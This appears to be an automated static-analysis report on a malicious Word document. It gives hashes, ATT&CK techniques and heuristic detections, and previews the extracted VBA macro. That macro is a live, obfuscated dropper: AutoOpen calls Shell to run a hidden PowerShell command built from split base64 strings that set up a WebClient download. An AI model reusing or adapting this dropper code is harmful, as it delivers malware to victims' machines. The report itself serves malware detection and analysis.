Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4655408b82ba1dff…

MALICIOUS

Office (OLE)

113.8 KB Created: 2018-05-31 14:03:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 673d67cfcb38562efa6aa11a1063d164 SHA-1: dd1deb7a7a3b83a0f35e3d8af925c84d7ad8bfea SHA-256: 4655408b82ba1dff459ff7eec374847e651e159b237c04eae55f9eede8b4dc17
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The Autoopen macro triggers a Shell() call, which is highly suspicious and indicative of a dropper or downloader. The ClamAV heuristic also identifies it as a dropper. The VBA script attempts to construct a PowerShell command, suggesting it's designed to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6566931-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6566931-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16165 bytes
SHA-256: bd490fc2d98880286a593e1817fc5b08476de37902e6fc14a104e8dc3d661871
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "zGwTRiYRM"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function hFwTiBTs()
On Error Resume Next
Select Case KAlEfvrSD
      Case 32212
         EucPZ = 15579
         tNBjlY = CDbl(45334)
      Case 76046
         AfVlwl = OSNkw
         OwvWY = 69705
End Select
Select Case KAlnkumF
      Case 56145
         WLmGh = 84498
         qnhfXS = CDbl(78551)
      Case 28204
         MXdlzE = PznVIQ
         jfTRjC = 62764
End Select
hFwTiBTs = KDiPctQpBAp + Shell(swfCUwcNZQd + Chr(vbKeyP) + iCLqSvPc + cDTDRSk + BfPLOk + afWHklbpPnj + iTwwvcZZnbJ + larHoYthj, WjkJH + vbHide + KXVCfakFSr)
Select Case KAlDGHXJ
      Case 28389
         ARdZni = 30160
         rURYWG = CDbl(88193)
      Case 42844
         aBwAEA = LPFTW
         cuYYwV = 85819
End Select
End Function
Sub Autoopen()
On Error Resume Next
Select Case KAlcDTCcz
      Case 33432
         JAJkQw = 15146
         pwQXN = CDbl(45769)
      Case 55092
         FNrWzz = YdHzw
         zcDohG = 9849
End Select
hFwTiBTs
Select Case KAlmNfmH
      Case 67231
         EVVFa = 44468
         PGuiLs = CDbl(72569)
      Case 13324
         zJmsU = ijRXm
         zLjsP = 10105
End Select
End Sub


Attribute VB_Name = "IlsYHANwt"
Function iCLqSvPc()
On Error Resume Next
Select Case KAlAWNiKc
      Case 24821
         izQaz = 18562
         kHXfk = CDbl(57154)
      Case 87342
         OsihO = wrOaI
         MHwiU = 82895
End Select
TrEDqRk = "owersHeLL -W" + "inDows" + "Tyle hid" + "den -e IAAoACcA" + "QwBIAG4AJwArACc" + "AbgBzACcAKw" + "AnAGEAZ" + "ABhACcA"
Select Case KAloZvhW
      Case 50178
         aQCVG = 30513
         Swmju = CDbl(96109)
      Case 7807
         FCzrwH = JtLtFF
         TLIHCp = 62113
End Select
pmHRXUJQv = "KwAnAHMAZAAgAD0" + "AIAAmACcAKwAnA" + "CgAJwArACcAMgB" + "yAE0A" + "JwArACcAbgAnACs" + "AJwAyAHIAJwAr" + "ACcATQ" + "AnACsAJ" + "wArADIAcgAnA" + "CsAJwBNA"
Select Case KAlsUsEuJ
      Case 23582
         ZtUGTt = 64573
         bEzHJK = CDbl(24954)
      Case 20823
         nfaXn = OBQKfw
         MUwvlA = 70032
End Select
PAknA = "GUAMgAnACsAJw" + "ByAE0AKwAyAHI" + "ATQB3AC0AbwBiAG" + "oAZQBjA" + "CcAKwAnAD" + "IAcgAnACs" + "AJwBNACsAMg" + "ByACcAKwAnAE0AJ" + "wArACcAd" + "AAyACcAKwA"
Select Case KAlKZddfz
      Case 83982
         jhHhC = 12234
         lamwFF = CDbl(7518)
      Case 68008
         jirdK = YMaDd
         wuHzX = 54403
End Select
tZWlRKEbTlM = "nAHIATQAnACsA" + "JwApACAAcgBh" + "ACcAKwAnAG4" + "AZABvAG0A" + "JwArACcAOwAnACs" + "AJwBDAEgAbgBZA"
Select Case KAlcXQqGq
      Case 21576
         zCisG = 81561
         wzFOOS = CDbl(17815)
      Case 89301
         zdYof = AidUHi
         rlnzs = 47335
End Select
MYjAYuSulSR = "FkAVQAg" + "AD0AIAAuACg" + "AMgByAE0AJwArAC" + "cAbgAnACsAJw" + "BlADIAJwArACcAc" + "gBNAC" + "sAMgByA" + "E0AJwArACcAdwA"
iCLqSvPc = TrEDqRk + pmHRXUJQv + PAknA + tZWlRKEbTlM + MYjAYuSulSR
End Function
Function cDTDRSk()
On Error Resume Next
Select Case KAlvKWPV
      Case 95316
         rIORT = 56400
         rdSWp = CDbl(40973)
      Case 2206
         PmjwhG = aOakj
         oGJSh = 40067
End Select
WzNQhzK = "yAHIATQ" + "AnACsAJ" + "wArAD" + "IAcgA" + "nACsAJwBNA" + "CcAKwAnAC0Abw" + "BiAGoAZQBj" + "AHQAMgByA" + "E0AKQAnACsAJ"
Select Case KAlZPCoB
      Case 10881
         HVcCD = 18880
         vjfYP = CDbl(6209)
      Case 43549
         zritwC = JDHAr
         zjvvb = 12353
End Select
RoLDzt = "wAgAFMAeQBzA" + "CcAKwAn" + "AHQAZQAnACsA" + "JwBtAC4AJwArA" + "CcATgAnACs" + "AJwBlACcAKwAn" + "AHQALgAnACsAJwB" + "XAGUAYgA" + "nACsA"
Select Case KAlFlXhZ
      Case 21028
         WdtRRn = 84418
         LFHHz = CDbl(71227)
      Case 22929
         uCSiv = kdowKc
         TBUnJ = 641
End Select
oDTzhAIPTtw = "JwBDAGwA" + "aQBlACcAKwAn" + "AG4AdAA7A" + "EMASAAnA" + "C
... (truncated)

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